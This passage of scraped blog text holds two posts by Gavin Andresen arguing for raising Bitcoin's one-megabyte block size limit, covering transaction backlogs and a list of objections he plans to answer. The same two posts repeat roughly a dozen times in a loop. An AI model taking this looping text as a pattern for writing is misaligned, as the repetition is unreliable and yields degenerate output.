queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
be more competition among transactions, and, therefore, higher transaction
fees for miners."
* "More transactions means more bandwidth and CPU and storage cost, and more
cost means increased centralization because fewer people will be able to
afford that cost."
* "More transactions makes it more difficult to keep Bitcoin activity private
from oppressive governments."
* "Larger-than-one-megabyte blocks have had insufficient testing and/or
insufficient research into economic implications and/or insufficient security
review of the risks versus benefits."
* "Any change that requires a hard fork will open up Pandora's Box and destroy
the confidence people have in the stability of Bitcoin; if the one megabyte
maximum block size limit can be changed, why not the total number of bitcoins
issued?"
If I am being unfair in how I am stating any of the above objections, please
let me know via email.
-http://gavinandresen.ninja/time-to-roll-out-bigger-blocks
Why increasing the max block size is urgent
-------------------------------------------
Perhaps the most common objection I hear to raising the maximum block size from
one megabyte is that "blocks aren't full yet, so we don't have to do anything
(yet)."
It is true that we're not yet at the hard-coded one megabyte block size limit;
on average, blocks are 30-40% full today.
There is a very good blog post by David Hudson at hashingit.com analyzing what
will happen on the network as we approach 100% full blocks. Please visit that
link for full details, but basically he points out there is a mismatch between
when transactions are created and when blocks are found - and that mismatch
means very bad things start to happen on the network as the one megabyte limit
is reached.
Transactions are created steadily over time, as people spend their bitcoin.
There are daily and weekly cycles in transaction volume, but over any
ten-minute period the number of transactions will be roughly equal to the
number of transactions in the previous or next ten minute period.
Blocks, however, are created via a random Poisson process. Sometimes a lot of
blocks are found in an hour, sometimes all the miners will be unlucky and very
few (or none!) will be found in a hour.
The mismatch between the steady submission of transactions to the network and
the random Poisson distribution of found blocks means we will never have blocks
that are 100% full all of the time. Sometimes miners will find a lot of blocks
in a row, clearing out the queue of waiting transactions.
Conversely, very bad things can happen when miners happen to be unlucky. The
queue of transactions waiting to be confirmed will grow, using more and more
memory inside every full node. Full nodes could (and probably will in a future
release of Bitcoin Core) start to drop transactions from the queue, which will
make transaction confirmation less reliable.
If the wallet re-broadcasts transactions if they are not confirmed after a few
blocks (the Bitcoin Core wallet does), then bandwidth usage spikes as every
wallet on the network rebroadcasts its unconfirmed transactions.
If the number of transactions waiting gets large enough, the end result will be
an over-saturated network, busy doing nothing productive. I don't think that is
likely - it is more likely people just stop using Bitcoin because transaction
confirmation becomes increasingly unreliable.
-http://gavinandresen.ninja/why-increasing-the-max-block-size-is-urgent
Time to roll out bigger blocks
------------------------------
I'm going to submit a pull request to the 0.11 release of Bitcoin Core that
will allow miners to create blocks bigger than one megabyte, starting a little
less than a year from now.
I will be writing a series of blog posts, each addressing one argument against
raising the maximum block size, or against scheduling a raise right now. These
are the objections I plan on writing about; please send me an email
(gavinandresen@gmail.com) if I am missing any arguments for why one megabyte is
the best size for Bitcoin blocks over the next few years.
* "There is no need to raise the maximum block size right now, the average
block size is only about 400,000 bytes."
* "There is no need to raise the maximum block size because the Lightning
Network / Sidechains / ChainDB / Treechains / Factom will solve the scaling
problem."
* "The network will be more secure with one megabyte blocks, because there will
